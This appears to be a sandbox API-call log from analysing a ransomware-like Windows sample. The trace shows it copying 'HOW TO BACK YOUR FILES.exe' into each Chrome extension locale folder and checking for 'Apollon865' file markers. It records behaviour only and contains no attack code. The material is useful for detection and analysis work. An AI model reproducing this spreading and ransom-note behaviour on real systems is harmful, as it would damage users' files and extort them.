	[0048.106] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.118] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.118] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8286b050, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c10470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c10470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.118] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.118] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.118] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.118] lstrlenW (lpString="messages.json") returned 13
	[0048.118] lstrlenW (lpString="Apollon865") returned 10
	[0048.118] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.119] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr"
	[0048.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bbc00 | out: hHeap=0x580000) returned 1
	[0048.119] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01c8 | out: hHeap=0x580000) returned 1
	[0048.119] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr") returned 141
	[0048.119] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr"
	[0048.119] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.119] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.122] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.123] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c10470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c10470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.123] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.123] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.123] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.123] lstrlenW (lpString="messages.json") returned 13
	[0048.123] lstrlenW (lpString="Apollon865") returned 10
	[0048.123] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.123] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th"
	[0048.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bbad8 | out: hHeap=0x580000) returned 1
	[0048.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01a8 | out: hHeap=0x580000) returned 1
	[0048.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th") returned 141
	[0048.123] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th"
	[0048.123] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.138] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.138] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c10470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c10470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.138] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.138] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.138] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.138] lstrlenW (lpString="messages.json") returned 13
	[0048.138] lstrlenW (lpString="Apollon865") returned 10
	[0048.138] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.138] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv"
	[0048.138] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb9b0 | out: hHeap=0x580000) returned 1
	[0048.138] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0188 | out: hHeap=0x580000) returned 1
	[0048.138] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv") returned 141
	[0048.138] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv"
	[0048.138] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.139] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.142] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.142] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c365d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c365d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.142] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.143] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.143] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.143] lstrlenW (lpString="messages.json") returned 13
	[0048.143] lstrlenW (lpString="Apollon865") returned 10
	[0048.143] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.143] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr"
	[0048.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb888 | out: hHeap=0x580000) returned 1
	[0048.143] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0168 | out: hHeap=0x580000) returned 1
	[0048.143] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr") returned 141
	[0048.143] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr"
	[0048.143] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.143] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.148] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.148] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x828095d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c5c730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c5c730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.148] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.148] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.148] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.148] lstrlenW (lpString="messages.json") returned 13
	[0048.148] lstrlenW (lpString="Apollon865") returned 10
	[0048.148] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.148] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl"
	[0048.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb760 | out: hHeap=0x580000) returned 1
	[0048.148] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0048.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl") returned 141
	[0048.148] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl"
	[0048.148] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.148] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.152] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.152] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827f5d50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c5c730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c5c730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.153] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.153] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.153] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.153] lstrlenW (lpString="messages.json") returned 13
	[0048.153] lstrlenW (lpString="Apollon865") returned 10
	[0048.153] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.153] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk"
	[0048.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb638 | out: hHeap=0x580000) returned 1
	[0048.153] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0148 | out: hHeap=0x580000) returned 1
	[0048.153] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk") returned 141
	[0048.153] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk"
	[0048.153] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.153] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.157] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.157] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827e4be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34c5c730, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34c5c730, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.157] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.157] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.158] lstrcpyW (in: lpString1=0x2d3e66c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.158] lstrlenW (lpString="messages.json") returned 13
	[0048.158] lstrlenW (lpString="Apollon865") returned 10
	[0048.158] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.159] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru"
	[0048.160] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bb510 | out: hHeap=0x580000) returned 1
	[0048.160] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0128 | out: hHeap=0x580000) returned 1
	[0048.160] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru") returned 141
